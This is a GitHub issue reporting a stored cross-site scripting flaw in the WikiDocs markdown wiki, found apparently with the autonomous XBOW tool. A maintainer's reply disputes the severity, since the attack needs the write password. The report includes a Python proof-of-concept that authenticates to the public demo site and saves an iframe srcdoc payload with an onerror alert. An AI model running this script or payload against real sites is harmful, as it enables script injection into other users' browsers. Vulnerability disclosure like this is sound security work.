Zavy86 / WikiDocs

📗 Just a databaseless markdown flat-file wiki engine
https://www.wikidocs.it
MIT License
311 stars 43 forks source link

XBOW Security Report - #216

Open niemand-sec opened 20 hours ago

niemand-sec commented 20 hours ago

Describe your issue

Disclaimer

This vulnerability was detected using XBOW, a system that autonomously finds and exploits potential security vulnerabilities. The finding has been thoroughly reviewed and validated by a security researcher before submission. While XBOW is intended to work autonomously, during its development human experts ensure the accuracy and relevance of its reports.

Description

A stored Cross-Site Scripting (XSS) vulnerability was identified in the markdown notes functionality of the application. By injecting an iframe html element containing embedded JavaScript, an attacker can execute arbitrary JavaScript in the context of the victim's browser upon viewing the uploaded image.

Mitigations

Impact

Device and settings

Wikidocs

Steps to reproduce

  1. Execute the following python code to create the PoC:
import requests

url = 'https://demo.wikidocs.it/'
session = requests.Session()

# Authenticate
auth_data = {
    'document': 'aa',
    'password': 'demo'
}
session.post(f'{url}/submit.php?act=authentication', data=auth_data)

# Create the XSS payload that worked before
content = '''# Test Page

<iframe srcdoc="<img src=x onerror=alert('XSS')>">
'''

payload = {
    'revision': '0',
    'document': 'xss',
    'content': content
}

r3 = session.post(f'{url}/submit.php?act=content_save', data=payload)
print("Created XSS page at:", f"{url}/xss")
  1. Access the malicious page:

image

Screenshots (optional)

No response

Extra fields

ffiesta commented 3 hours ago

Hi to all, i know we need to protect wikidocs with some security, ... but in my head wikidocs is like a personal library, wiki faq ... and only has 2 password (1 to read and another to write) normally user only share the read password or don't.

If this is a personal wiki system i think we need to protect very well writing password!

I don't say that we won't protect jpg or javascript or php, ... but @niemand-sec, can you show any security issues in wikidocs without use write password?